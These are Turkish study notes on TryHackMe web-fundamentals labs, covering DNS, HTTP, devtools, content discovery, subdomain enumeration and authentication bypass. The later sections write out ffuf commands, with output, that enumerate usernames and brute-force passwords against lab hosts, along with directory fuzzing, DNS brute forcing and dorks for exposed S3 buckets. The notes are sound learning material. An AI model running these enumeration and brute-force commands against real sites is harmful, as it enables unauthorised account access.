Web Fundamentals
1.Study:'DNS
- 'What is DNS?;(DNS nedir?)
- DNS, web sayfalarına ulaşırken, dosyaların bulunduğu bilgisayarın IP adresinin yerine
benzersiz olarak belirlenmiş isimlerin kullanılmasını sağlayan sistemdir. Eğer bu sistem
olmasaydı şuan:
- Google.com a gidebilmek için: www.google.com yerine ==> 172.217.169.110 adresini
yazarak gitmemiz gerekcekti.
- 'Kısaca isimi IP ye çözümleyen sistemdir.
- 'Domain Hierarchy;(Etki alanı)
- TLD (Top-Level Domain): Kendi içerisinde ikiye ayrılır;
- gTLD (Generic Top Level):
- Genel üst seviye: .com .edu .gov .mil gibi url sonunda varsa bu ==> 'gTLD'
- ccTLD (Country Code Top Level Domain):
- Ülke kodu üst seviye etki alanı: .uk .tr .ca gibi ülke koduda varsa ==> 'ccTLD'.
- Second-Level Domain: İkinci düzey etki alanıdır. Burada dikkat edilmesi gereken;
- 63 karakter kullanılabilir.
- a-Z,-,0-9 kullanılabilir.
- Subdomain: Alt alan adı. Bu ad, second-level domain in solında yer alır. Noktalar ile bu ad çoğaltılabilir.
Ve bir sınırlaması yoktur.
- Ard arda tire kullanılamaz.
- 253 karater uzunluğuda olabir.(mininmum 63 karakter)
- a-Z,-,0-9 değerlerini alabilir.
- Tire ile başlayıp bitemez.
- Subdomain sayısında bir sınırlama yoktur.
- Örnek:
- admin.server.tryhackme.com.tr için açıklama;
- tr: ccTLD.
- com: gTLD.
- tryhackme: Second-Level Domain.
- admin.server: Subdomain.
- 'DNS Record Types;(DNS Kayıt Türleri)
- A Record: Domain-Name leri IPv4 adresine çözümler: 102.54.1.123, 32/8 her bit 8 ve 4 octet.
- AAAA Record: Domain-Name leri IPv6 adresine çözümler.
- HexDecimaldir: 2606:4700:20::681a:be5, 128/16 her bir bit 16 ve 8 oktet.
- CNAME Record:
- Bir bilgisayarın, bir veya daha fazla host adı tarafından bilinmesini sağlar.
- Öncelikli olarak bir A kaydı mutlaka olmalıdır.
- Bu resmi bir isim olmalı.
- örn: isimkayit.com A 111.111.111.111 CNAME i kullanarak,
diğer host adlarını bir resmi (A record) adrese yönlendirebiliriz.
- 'Kısaca isimi isime çözümler.
- MX Record:
- Diğer adıyla 'Mail Exchanger Record', olan adınıza ait mail adreslerinin çalıştığı
mail sunucularını adresleyen bir DNS kaydıdır.
- MX Record mevcut DNS sunucunuz üzerine yazılır ve yine bu DNS sunucusundan cevap alır
- 'Yani mail alış-verişini yapan server ın kaydını tutar.
- TXT Record:
- TXT kayıtları tarihsel sıraya göre okuyabilen server, network, data center ve diğer
hesap bilgileri hakkında bilgi içerir.
- Özellikle spam dan korunmak için maill hesabinin doğruluğunun kanıtlanması için
unique(benzersiz) kod barındırır.
- 'Making A Request;(Talepte Bulunma)
- Dns işleminde beş adım vardır. Bunlar;
1. İstek yapılan bilgisayarın ön belleği kontrol edilir.
2. Eğer yoksa bu adres ön bellekte yoksa recorsive DNS server devreye girer.
- Bu, internet servis sağlayıcılarının hazırladığı DNS server ı dır.
- Kayıt burada mevcutsa bu radaki adresten web page e yönlendirilir.
3. Eğer burada da yoksa Root Dns Sever devreye girer.
- TLD ye bakarak ilgili sunucuya yönledirir.
4. Son olarak ilgili web page e yönlendirilir.
5. TTL ayarlanarak ön belleğe kaydı yapılır.
- Eğer TTL zamanı aşılmış ise bu adımlar tekrarlanır.
2.Study:'HTTP(s)
- 'What is HTTP(s):(HTTP(S) nedir?)
- HTTP: Tim Berners-Lee ve eki tarafından 1989-1991 yıllarında geliştirilmiştir.
- Web sayfası verilerinin iletilmesi için web sunucularıyla iletişim kurmak için kullanılan kurallar kümesidir.
- HTTPs: SSL sertifikasının eklenmesiyle verilerin şifrelenerek güvenli haberleşmeyi sağlamak için oluşturulmuştur.
- Bu bağlamda SSL veya TLS kullanılır.
- 'Requests And Responses:(istekler ve yanıtlar)
- 'What is a URL? (Uniform Resource Locator)
- http:// user:password @ tryhackme.com : 80 /view-room ?id=1 #task3
scheme user host/domain port path Q.str fragment
- scheme: Kulanılan protokol.
- user: kullanıcı bilgisi(bazı hizmetler için kimlik doğrulama)
- host/domain: domain veya IP adresi
- port: kullılacak port (0-65535, ilk 1024 iyi bilinendir.)
- path: dizin yolu/dosya ismi
- Query String: kaynak yol/dosya ile ilgili ek bilgi
- Fragment: gerçek sayfada bulunan değere referans verilebilir
- Bir web sitesine istekte bulunduğumuzda böyle olur.
- 'NOT: her istek tüm özellikleri kullanmaz.
- 'HTTP Methods:(http metodları)
- Get Request: Açık bir şekilde ilgili web server a istek göndermek ve sunucudan bilgi almak.
- Post Request: Gizli olarak ilgili web server a istek göndermek ve yeni kayıt oluşturmak.
- Put Request: Yeni bir veri ekleme/güncelleme istediği göndermek. (varsa günceller yoksa oluşturur.)
- Delete Request: Silme işlemi için istek göndermek.
- 'HTTP Status Codes:(http durum kodları)
- HTTP Status Codes: HTTP Durum kodları
- 100-199 bilgi yanıtı:
- ilk bölüm kabul edildi. isteğinin geri kalanını göndermeye devam et(artık pek yaygın değil.)
- 200-299 başarılı:
- istek başarılı.
- 300-399 yönlendirme:
- kabul edilen isteğin, istenilen sayfaya yönlendirilmesi
- 400-499 istemci hatası:
- istemcinin isteğinde hata olma durumu
- 500-599 sunucu hatası:
- sunucu tarafında gerçekleşen ve isteğin işlenememesi durumu
- Common HTTP Status Codes:HTTP Ortak durum kodları
- 200 - OK (onay)
- 201 - Created (oluşturuldu)
- 301 - Move Permanently(kalıcı yönlendirme)
- 302 - Found(geçici yönlendirme)
- 400 - Bad Requset(kötü istek)
- 401 - Not Authorised(Sadece yetkili erişim{oturum açma})
- 403 - Forbidden(giriş izni yok)
- 405 - Method Not Allowed(istek yöntem reddi{örn:post istenir get yollarsın})
- 404 - Page Not Found(sayfa bulunamadı{istenilen sayfa sunucuda mevcut değil})
- 500 - Internal Service Error(Dahili service hatası)
- 503 - Service Unavailable(sunucuya ulaşılamıyor)
- 'Headers:(başlıklar)
- istekte bulunurken sunucuya gönderilen paketin üst ek bilgi bitleridir.
- Bir web sitesini en iyi şekilde görüntülemek için kullanılan ek verilerdir.
- Bunlar;
- 'Common Request Headers:(ortak istek başlığı)
- host: bu başlık ile istenilen web sitesine gidiş yapılabilir. Aksi halde varsayılan sayfa gösterilir.
- user-agent: İnterneti kullanan kişiler ile web içerikleri arasında köprü vazifesi gören tarayıcı anahtarı.
- burada kullanılan web tarayıcı yazılım ve süürm bilgisi alınarak işlem yapılır.
- contenth-length: beklenen içerik uzunluğu ile ilgili sunucuya bilgi verilir.
- accept-encoding: tarayıcının hangi tür sıkışrıma kullandığı belirtilir.
- cookie: daha sonraki bir istekte bulunulduğunda yardımcı olası için bilgiler belli bir süre önbellekte saklanır(TTL zaman)
- 'Common Response Headers:(ortak yanıt başlığı)
- set-cookie: her talepte sunucuda saklanmak üzere suncuyu gönderilen bilgiler.
- cach-control: bir sonraki talebe kadar yanıt içeriğinin tarayıcı önbelleğinde saklanma süresinin kotrolü.
- content-type: istekte bulunan client e ne tür bir içerik yanıtı alacağını söyler.
- content-encoding: sıkıştırmada kullanılan method hakkında bilgi verir.
- 'Cookies:(Çerezler)
- çerezler birçok amaç için kullanılabilir.
- en yaygın olarak web sitesi kimlik doğrulaması için kullanılır.
- istemci taradından sunucudan istenen web sayfasının bilgileri
daha sonra kullanılmak üzere(TTL zaman içeriinde) tarayıcı önbelleğinde saklamnır.
- bunun içinde set-cookie kullanılır.
3.Study:'How Websites Work(web siteleri nasıl çalışır?)
- 'web isteleri:
- client internette bir istekte bulunur.
- internete giden istek ilgili sunucuya ulaşır.
- bu sunucu istek doğrultusunda olumlu/olumsuz olarak bir durum kodu belirler.
- daha sonra client e bu istek doğrultusunda bir yanıt döner.
- 'JavaScritp:
- web sitelerinin etkileşim hale gelmesi saağlayan web programlama dilidir.
-'Hasas verilerie erişme yöntemlerinden biri:
- Html i yazan kişi geliştirme aşamsında yorum satırları ile bir admin kullanıc hesabını web sayfasını kaynak kodunda
yorum satırları arasında unutmuş olabilir.
- veya kullanıcı web sayfasında kendi şifresini arkaplan rengi ile aynı olarak şifresini yazmış olabilir.
- veya 1x1 lik bir boyutlarda kod içerisinde barındırmış olabilir.
- ve bu örnekler çoğaltılabilir.
4.Study:
- 'Load balacer: yük dengeleyiciler, internet üzerindeki yükü dengelemek için kullanılır.
- bunlar hem yazılım hemde donanım tabanlı olabilir.
- Round-Robin: zaman paylaşımlı sistemlerde kullanılmak içi tasarlanmış 'çizelgeleme algoritması'dır.
- weighted: sunucuları kontrol ederek en az yoğun olana istemcileri yönlendirir.(işlemci-performans kontrol)
- healh-check: belli aralıklarda sunucu kontrol işlemi.
- 'CDN:(içerik dağıtma ağları{content delivery network})
- web istesindeki ağ yoğunluğunu azaltmak için kullanılır.
- static verileri dünyanın herbir yerindeki sunucularda barıdırır.(video javascript, photo ..)
- bir client den bir istek geldiğinde en yakın sunucudan gönderilir.
- Ve bu sayede web sitesinin hızı dahada artmış olur.
- 'DataBase:
- Web siteleri çoğu zaman kullanıcıları için bir depoloama alanı olarak veritabanlarını kullanır.
- basit işlemlerden çokdaha komplex işlemlere kadar birçok işlemi gerçekleştirebilirler.
- bazıları: MongoDB MsSql MySql Postgres .. Bunları herbirini kendine has özellikleri olduğunu unutmayın.
- 'WAF(Web Application Firewall{web uygulaması güvenlik duvarı})
- 'İstemci ile sunucu arasındaki veri transferini korumayı amaçlar:
- WAF, istemci ve sunucu arasında gerçekleşen veri trafiğini izleyerek ve analiz ederek bu trafiği güvence altına alır.
- Bu sayede, veri transferi sırasında olası saldırılara karşı koruma sağlar.
- 'Sunucuyu olası tehditlere karşı korur:
- WAF, sunucuya yönelik çeşitli tehditleri (örneğin, SQL enjeksiyonları, XSS saldırıları) tespit eder ve engeller.
- Ayrıca, belirli bir IP adresinden gelen saldırılarda, bu IP adresini engelleyerek sunucuyu koruyabilir.
- 'WEB sunucuları nasıl çalışır:
- Web sunucusu gelen bağlantıları dinler.
- ardından web içeriğini istemcilere iletmek için HTTP protokolünü kullanan bir yazılımdır.
- 'virtual Host: Sanal hostlar:
- web sunucuları farlı alanadlarına sahip bir çok web sitesini barındırabilir.
- web sunucuları http başlıklarına bakarak hangi web sitesine istek geldiyse o dizine yönlendirme yapar.
- bu konuda herhangi bir kısıtlama yoktur.
- yüzlerce web sitesi bir bilgisayarda sanal hostlar sayesinde barındırılabilir.
- 'Static içerikler:
- Değişmeyen medya, CSS gibi dosylardır.
- 'Dinamik içerikler:
- Değişebilen duruma göre farklı sonuçlar ortayaçıkar.
- bir web sitesine atılan istekten görüntülenmeye kadar yolculuğu ele alalm.
- browser a gitmek istenilem domain adı yazılır
- ilk olarak pc önbellek kontrol edilir (gitmek istenilne yerin IP adresi lazım)
- burada bu bilgi varsa DNS aşamaları atlanmış olur hızlı yükleme yapılır.
- yoksa ==>
- internet servis sağlayıcının vermiş olduğu DNS server gidilir.
- burda da yoksa ==>
- root dns server ına gidilir.
- burda TLD den ==>
- Authoritative dns server ına yönlendirilir.
- ilgili domain name in bulunduğu serverlara ulaşılır.
- burad IP adresi öğrenilir.
- web sitesinin güüvenlik duvarında yapılan istek kontrol edilir.(web sitesinin bu özelliği varsa)
- eğer varsa load bacers a gidilerek burda ilgili sunucuya yönlendirme yapılıyor
- artık web sunucusu ile iletişim kurulur
- ve bu sunucuya bir istek atılır.
- sonrasında veri tabanı iletişim kurulur ver sonuçlar beklenir.
- en sonunda da browser da n web sitesi görüntülernir.
5.Study:
- 'brwoser araçları ile web sitesi inceleme
- 'Browser ile inceleme:
- view source: kaynak görüntüleme ile web sitesinin okunabilir kodlarını inceleyeceğiz.
- inspector: sayfa öğereli incelenerek engellenen içeriklere nasıl müdehale edelebileceğine bakacağız.
- debugger: sayfanın javascript akışı incelenecek.
- network: sayfanın yaptığı tüm ağ isteklerine bakacağız.
- 'Web site genel inceleme:
- webs sayfasında bağlantı verilmiş tüm linkler incelenir.
- örnek olarak: başlıklar: sayfa başlığı | sayfa link yapısı | içerik hakkında açıkla gibi bu çoğaltılabilir
- tüm site bağlantılar üzerinde gezinerek içeride ne var bilgisi, içeriği ne , sayfa yasğı, uzantısı gibi bilgiler alınır.
- tryhackme:
- bize html kodundaki bayrağı sordu bize bize verilen link gitti ve en üstte yorum satırında
'/new-home-beta' uzatısı alıp mevcut url de yazdık ve : 'THM{HTML_COMMENTS_ARE_DANGEROUS}
- şimdi de bize gizli bağlantıdaki bayrağı soruyor. Aslında home sayfasında da yer alıyor ve bir bağlantı verilmiş.
fakat gizlnemiş. biz bunu ctrl+u ile syafa kaynağına gidince görebiliyoruz. '/secret-page' uzantılı gizlib ifade var.
ve home içerisinde 'to' içerisine eklenmiş. mouse ile üzerine gidildiğinde görünüyor.: 'THM{NOT_A_SECRET_ANYMORE}
- bir sonraki soru ise dizin listeleme bayrağını soruyor. Dizin listesini barıdıran bir üst dizin arıyoruz. Burada
karşımıza sayfa kaynağına baktığımızda '/assests' çıkıyor. Buraya gidince de 'flag.txt' dosyasını görüyoruz burada.
içerisinde: 'THM{INVALID_DIRECTORY_PERMISSIONS}
- bize çerçeve deki bayrağı soruyor. Bizde home da sayfa kaynağına giderek eğer hazır bir script kullanıldıysa burada
işimize yara bir bilginin olması ihtimaline karşılık bakıyuruz.
en altta bir yorum satırınca versiyon bilgis ve hem ardından bir uzantı buluyoruz:
'Page Generated in 0.04768 Seconds using the THM Framework v1.2 ( https://static-labs.tryhackme.cloud/sites/thm-web-framework )'
buraya gidelim.
bizi bir '/tmp.zip' adlı bir dosya indirmemizi söylüyor. yani burada dolaşırken bunu bulduk ve içerisinde:'THM{KEEP_YOUR_SOFTWARE_UPDATED}
hadi deneyelim.
- Şimdide geliştirici araçlar olan:| inspector | debugger | network | lerde neler bulabilceklerimize bakalım
- inspector: Denetçi
- burada bize 'paywall' daki bayrağı soruyor. bu rası '/news/article?id=3' kısımda yer alıyor.
şimdi inspector ile bakalım.
burada sayfa kaynağında : class="premium-customer-blocker" bu ifade yer alıyor yani üye olmadan göremiyoruz.
bizde class="none" ile değiştirerek içeriği görüntülemeye çalışalım.
ve:'THM{NOT_SO_HIDDEN}
- şimdide diğer bir araç olan 'Debugger' yani hata ayıklayıcı ile neler yapabiliriz. Buna bakalım:
- bize sayfa yüklenirken çıkan kırmızı bir kutu içerisindeki bayrağı soruyor. fakat bu kutu hem gelip gidiyor.
bunu için debug ederek burayı kontrol ederlim. bu kısım: /contact sayfasına girince çıkıyor.
debugger==> flash.min.js ==> ve 'flash['remove']();' bu satırda ekrana bir mesaj flashlayıp kayboluyor. burada bir braakpoit ekleyerek görelim:
'THM{CATCH_ME_IF_YOU_CAN}
- şimdi de network kısmında neler yapabileceğimize bakalım:
contact-msg da iletişim için ağ mesaj bayrağını soruyor. /contact
burada ilgi alanları doldurarak send message dediğimizde bir 200 durum kodu olarak contact-msg alıyoruz.
üzerine ikikez tıkladığımızda ise: 'THM{GOT_AJAX_FLAG}
6.Study:'İçerik keşfi
- direkt olarak bağlantı verilmemiş içeriklerdirbunlar. Bu keşf yaparkende bu üç yöntemi kullanacağız:
- Manually: Manuel yöntem
- Automated: Otomatik yöntem
- OSINT: açık kaynak kod yöntemi
- Manually yöntemleri:
- Robots.txt:
- web sitelerinin ana dizinde yer alır
- arama motoru sonuçlarında hangi sayfaların gösterilmesine izin verilip verilmediğinin belirlendiği bir dosyadır.
- bu dosya içeriği analiz edilerek özel sayfa linkleri elde edilebilir.
- soruda bize hangi sayfaya izin verilmediğini soruyor:
- 'Disallow: /staff-portal ==> /staff-portal
- bu dosya içeriğide bize bir mesaj var:
- you found the robots.txt endpoint ==> robots.txt uç noktasını buldunuz
- favicon:
- bir web sitesinde adres çubuğunda o websiteyi tanımlayan özel bir simgedir.
- eğer varsayılan icon özel olarak değiştirilmemişse hangi hazır site scriptinin kullanıldığını bize gösterir.
- daha önce elde edilmiş bir iconların bir listesinin barındırıldığı web sitesi: 'https://wiki.owasp.org/index.php/OWASP_favicon_database'
- bize bir favicon iconunun linki bırakılmış: 'https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico'
- curl komutu ile veri tabanında bulunan md5 hashlerini karşılaştıracağız:
- curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum
- 'f276b19aabcb4ae8cda4d22625c6735f' hash imizi aldık şimdi veri tabanında karşılaştırma yaparak hangi çerçeve olduğuna bakalım:
- cgiirc (0.5.9) çerçeve ve sürüm notlarına ulaşmış olduk.
- sitemap.xml:
- robots.txt nin aksine çalışılır. ve burada ulaşılabilir tüm dizinler yer alır.
- hatta daha önce den kullanılmış ama artık kullanılmaya veya arama motorlarında gösterilmeyen dosya/diiznleri de burda bulabiliriz.
- bize /sitemap.xml dosyasının içerisinde gizli alanı bulmamızı istiyor.
- şöyle bir yol bulduk '/s3cr3t-area' bakalım. ve evet bukduk.
- http headers:
- bir web isteğinin veya yanıtının http başlıklarını keşfetmek için manuel olarak inceleme işlemidir.
- burada bize curl komutu ve -v parametersi kullanılarak iligi url de biz X-FLAG çıktısını bulmamızı söylüyor:
- curl http://10.10.64.11 -v yaptığımızda bunu görebiliyoruz: 'X-FLAG: THM{HEADER_FLAG}
- fremawork stack:
- bir web uygulamasının alt yapısında kullanılan yazılım çerçevelerini (framework) ve teknolojilerini manuel olarak keşfetme sürecini ifade eder.
- bize burada çerçeve bulunan bayrağı soruyor.
- bize ' https://static-labs.tryhackme.cloud/sites/thm-web-framework' bu url de document ları inceleteyer araştırmamızı söylüyor
- bu kaynakta bulduğumuz uzantımızı kullnıyoruz: 'http://10.10.64.11/thm-framework-login' ve bizi bir giriş paneline götürdü.
- document larda ek olarak bize 'username:admin&password:admin' olarak bilgi verdi. Hadi deneyelim!
- ve baam!! bulduk: 'THM{CHANGE_DEFAULT_CREDENTIALS}
- OSINT yöntemleri:
- google hackin/dorking:
- google da özel ve daha isabetli sonuçlar elde etmek için parametreli sorgular kullanılır.'(Bu kısıma ek olara ayrıca ele alınması gereken çok önemli bir kodunur!!!)
- örnek olarak bir kaçında bahsedelim:
- site: bu parametre 'site:tryhackme.com' verilen sadece domain adı üzerine bir sorgu yapar ve ek olarak çıkan gerek ibareler ortadan kaldırılır.
- ve filtrelenmiş, daha az ve isabetli sonuçları alırız.
- inurl: bu parameter 'inurl:admin' verilen bu parametreli ifade, linkte 'admin' kelimesi geçenleri bize gösterecektir.
- filetype: bu parametre 'filetype:pdf' belirli bir dosya uzantısını aramak için kullanılır.
- intitle: bu parametre 'intitle:admin' başlıkta bu ifade aranır.
- burada başlıktan kasıt:
-
<head>
<title>Admin Panel - My Website</title>
</head>
web sitesindeki title kısımıdır.
- ve ayrıca google dorking içinde bu site kullnılabilir: 'https://dorksearch.com/' birden fazal dork da atnı anda kullanışabilir.
- araştırma için de: 'https://en.wikipedia.org/wiki/Google_hacking' bu wikipedia kaynak olabilir.
- bize sorulan soruda sadece belirli bir siteden sonuçların gösterilmesi için kullanılan dorku sormuş: 'site:
- wappalyzer:
- bu web sitesi mail,web site, api gibi bir çokaram yaparak kullandığı teknolojileri, kullanılan çerçeveleri, ödeme işlemcileri ve çokdaha fazlasını bulabilir.
- açık kaynak araştırmalarında size yardımcı olacak bir web sitesidir. 'https://www.wappalyzer.com/'
- wayback machine:
- bu websitesi diğer web sitelerinin ve daha fazlasının kaydını tutar. Geçmiş yönelik araştırma yapılmak istendiğinde bu site yararlı olacaktır.
- 'https://archive.org/web/'
- github:
- önce git ne demek buna bakalım: Git: sürüm kontrol sistemdir.
- bir projede ekiple olsun olmasın kimin hangi dosyayı nezaman düzenlediğini ve neyi değiştirdiğini görülebilir.
- bunlar ortak bir depo da kullanılır ve aynı projede birden fazala kişi çalışabilir.
- s3 buckets:
- açık kaynak araştırmalarında amazon un bulut servisi olan 's3' dır. Google dork üzerinde bir örnek gösterelim:
- 'site:s3.amazonaws.com AND inrul:doğukan OR intitle:doğukan'
- burada amazonaws.com da urlde veya başlıkda 'doğukan' taraması yaptık
- bu taramayı amazon bulut servisindeki dosyarda yaptık.
- Automated yöntemleri:
- Discovery: web sitesinde gizli tutulmaya çalışılan dizin ve dosyalara üç farklı araç ile ulaşım sağlayabiliri. Bunlar:
- ffuf:
- örnek kullanım: 'ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.208.166/FUZZ'
- dirb:
- örnek kullanım: 'dirb http://10.10.208.166/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt'
- gobuster:
- örnek kullanım: 'gobuster dir --url http://10.10.208.166/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt'
- burada gobuster aracı daha hızlı olduğunda genellik bu araç tercih edilir.
- bize burada iki soru soruyor. Bunlar:
- /mo... ile başlayand dizin adı ve log dosya adı:
- /montly
- /development.log
7.Study:'Subdomain Enumeration:(alt domain numaralandırma)
'ÖNEMLİ NOT: KELİ LİSTESİ NE KADAR FAZLA VE İÇERİĞİ GÜNCEL OLMASI TARAMADA KISMINDA DAHA İYİ SONUÇ ÇIKARILMASI ANLAMINA GELİR.!!
- Kısa bilgi:
- bir alan adı için geçerli alt alan adlarını bulma işlemidir.
- amaç: daha fazla potansiyel güvenlik açığı noktası keşfi ve saldırı yüzeyini genişletmek.
- yöntemlerden bir kaçı:
- Brute Force: kaba kuvvet
- OSINT: açık kaynak istihbaratı
- Virtual Host: sanal ana bilgisayar
- OSINT - SSL/TLS Certificates:
- ssl sertifikası üzerinden alt domain tespitini ele alacağız.
- ssl de sertifica şeffaflığı dediğimiz bir kısım var.
- bu, domainlerin almış olduğu sertifikaların hangi tarihte ve kimden aldığını gösteren bir arşiv var.
- 'https://ui.ctsearch.entrust.com/ui/ctsearchui', 'https://crt.sh/'
- sorumuz: crt.sh a git ve tryhackme.com alan adını yaz 2020-12-26 tarihinde açılan oturum adını bul:
- 'store.tryhackme.com
- OSINT - Search Engines:
- burda google dork kullanarak bizden s ile başlayan alt domaini soruyor.
- '-site:www.tryhackme.com site:*.tryhackme.com' bu yapıyı kullanarak bulabilir.
-www.tryhackme.com dahil etme ama onun harici alt domainlerin herpsin ara.
- 'strore.tryhackme.com
- DNS Bruteforce:
- burada alan adını sunucusuna kaba kuvvet saldırısı yaparak alt domain tespiti yapacağız.
- kulanımı: 'dnsrecon -t brt -d <domainname.com>'
- dnsrecon: dns keşfi ve bilgi toplama aracıdır.
- Bu bilgiler arasında DNS kayıtları, zon transferleri, alt alan adları ve daha fazlası yer alabilir.
- -t: kullanılacak aracın netür bir keşif yapacağını belirtir
- brt: bruteforce
- -d: domain adı: örn: tryhackme.com:'NOT bu kullanım ağı zorlayacağında izinsiz ve yetkisiz kullanılmamalı!
- burada bize aracın bulduğu ilk subdomaini sordu:
- 'api.acmeitsupport.thm
- OSINT - Sublist3r:
- burada subdomain tespitinde 'sublist3r' aracı kullanarak yapcağız.
- bu araç arama motorlarını kullanarak arama gerçekleştirir.
- OSINT alt alan adı keşif sürecini hızlandırmak için bu aracı kullanabilir.
- sublist3r -d <domainname.com>
- -d: domain adını belirtilir.
- biz bu araç kullanılarak bululanan ilk subdomaini soruyor:
- 'web55.acmeitsupport.thm
- Virtual Hosts:
- DNS Bruteforce ta olduğu gibi, yaygın olarak kullanılan alt alan adlarından oluşan bir kelime listesi kullanarak bu işlemi yapacağız.(ffuf)
- ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.30.200 -fs 2395
- elimizdeki DNS domain isim listesi kullanılarak alt domainlari kontrol etmek için yukaridaki kodumuz yazacağız. Öncesin bu liste bizde olmalı.
- -w: taranacak isimler
- -H: host başlığı(FUZZ: burada değişkenimiz)
- -u: domain adresimiz:
- -fs: gösterilmeyecek olanları filtreleyip geri kalanı göstermesini sağlıyoruz.
- ve tarama sonucu elde edilen alt domainler:
- api [Status: 200, Size: 31, Words: 4, Lines: 1, Duration: 71ms]
- delta [Status: 200, Size: 51, Words: 7, Lines: 1, Duration: 69ms]
- yellow [Status: 200, Size: 56, Words: 8, Lines: 1, Duration: 67ms]
8.Study:'Authentication Bypass:Kimlik doğrulama baypası
- kısa bilgi:
- hedef web sitelerinde kullanılan kimlik doğrulama yöntemlerinin atlastılması kosunu ele alınacaktır.
- 'bu kodu oldukça kritik önem arz eder!!
- 'Username Enumeration:
- kullanıcı adı numaralandırma işleminde hedef sistemde bulunan kullanıcı adlarını tespit edeceğiz.
- bunu yaparken 'ffuf' arcını kullanacağız.
- http header live diye bir browser eklentisi var.
- biz bununla browserdan gönderilen ve sunucudan dönen cevapları bizim görmemizi sağlayan bir eklenti.
- ffuf da ayarlama yapabilmemiz için bizim gönderdiğimiz ve bize dönen http bilgilerini gömemiz gerek.
- evet burada: 'username=dogukan1&email=dogukan@gmail.com&password=asd&cpassword=asd' nasıl kullanmamız gerektiği mevcut.
- istediğimiz mesaj: 'username already exists'
- ve burada da uygulama dizin içerik bilgisi:
- Host: 10.10.83.220
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
===>> Content-Type: application/x-www-form-urlencoded 'BURASI DA KULLANDIĞIMIZ İÇERİK TİP BİLGİSİ'
Content-Length: 70
Origin: http://10.10.83.220
Connection: keep-alive
Referer: http://10.10.83.220/customers/signup
Upgrade-Insecure-Requests: 1
- 'başlayalım:
- hedef sistemimiz: hedef istemimiz 'acme it support'
- öncelikle bir kullanıcı kaydı yapalım ve sonra yeni bir kullanıcı daha ekleme işlemi yapalım.
- fakat ilk kullanıcı ile aynı olsun ki sistem tepskisini kontrol edelim.
- aynı kullanıcı adı olmuyor.
- buda demek oluyor ki kullanıcı adlarında deneme yanılma yöntemi ile hangi kullanıcıların var olduğunu anlayabiliriz.
- ama bu da elimizde kelime listesi ile alakalı.
- kullanım:
sudo ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST -d
"username=FUZZ&email=abcd@gmail.com&password=1231231&cpassword=1231231" -H "Content-Type: application/x-www-form-urlencoded"
-u http://10.10.83.220/customers/signup -mr "username already exists"
==> burda:
- -w: kullanılacak dosyamızın yolu
- -X: http methodu
- -d: kelime listesindekilerin FUZZ anahtar kelimesinin bulunduğu yere deneme yapması. diğer bilgilere sahibiz(random olması birşey değiştirmez)
- -H: http içerik bilgisi
- -u: bu saldırının yapılacağı uzantı
- mr: kullanıcı bulunduğun sayfadaki aranılan metin olacak: username already exists: kullanıc mevcut
- ve sonuç:
admin [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 173ms]
anne-marie [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 126ms]
barbara-anne [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 1415ms]
diane-marie [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 1447ms]
helen-elizabeth [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2084ms]
marie-jeanne [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 3037ms]
mary-ellen [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2249ms]
robert [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2951ms]
rosie [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2662ms]
simon [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2649ms]
steve [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2721ms]
- 'Brute Force:
- şimdi daha önce kullanıcı adlarını elde ettiğimiz kişilerin şifrelerini elde etmeye çalışacağız.
- bu kısımda yine ffuf aracı kullarak yapcağız.
- giriş denemeleri yaparak bunu yapcağız.
- bir öncekinde elde ettiğimiz username leri bir dosyay yazmamız gerek. mevcut username ler üzerinden şifre denemeleri yapacağız.
- kullanım şeklimiz:
ffuf -w username.txt:W1,/usr/share/wordlists/secLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2
-X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.146.5/customers/login -fc 200 -c 302
- açıklama:
- :W1: bizim bulduğumuz kullanıcı adları
- :W2: daha önceden listelenmiş şifrelemeler
- -fc: olumlu eşleşmeleri almak içi 200 durum kodu haricindekileri alacağız yani 302 durum onay kodu gerekli bize!
- -c: sadece 302 durum kodu işaretledik
- sonuç:
- W1:steve,W2:thunder
- 'Logic Flaw:
- bu kısımda ise mantık hatasını ele alacağız. yani bir şeyin işler olması hata vermiyor oluşu
tamamen mantıklı çalıştığı anlamına gelmez!
- bu tür hatalar, sistem üzerinde düşünülerek ve deneme yanılma yöntemi ile bulunur
- bize gösterilen yönergede 'şifre sıfırlama' kısmında bu hatayı bulmaya çalışacağız.
- bu adımda bize robert isim kişi için işlem yapmamız geektiği söyleniyor.
- şifre sıfırlama mantık hatası için ise hedefin mail adresini biliyor olmamız gerekiyor.
- burada curl aracı kullanacağız.
- URL üzerinden veri transferi yapmak için kullanılan güçlü bir komut satırı aracıdır.
- yani browser da yapılan tüm işlemlerin komut satırı hali gibi düşünebiliriz.
- headre live aracı ile önce bir tespitte bulunalım. gelen giden paketler üzerinde analiz yapalım.
- paketi inceledğimizde:
- post methodu ile hedef email mevcut ve ek olarak username var
- şimdi düşünelim, biz ek olarak bir email adresi eklesek username ile bu bilgi sunucuya gider mi?
- eğer şansımız yaver gider de böy bir mantık hatası yakalarsak hedef mail adresini ve buradaki tüm kullanıcıların email adresleriine erişim sağlarız
- öncelikle bu sıfırlama işlemi için gönderilecek hesabımızı açalım.
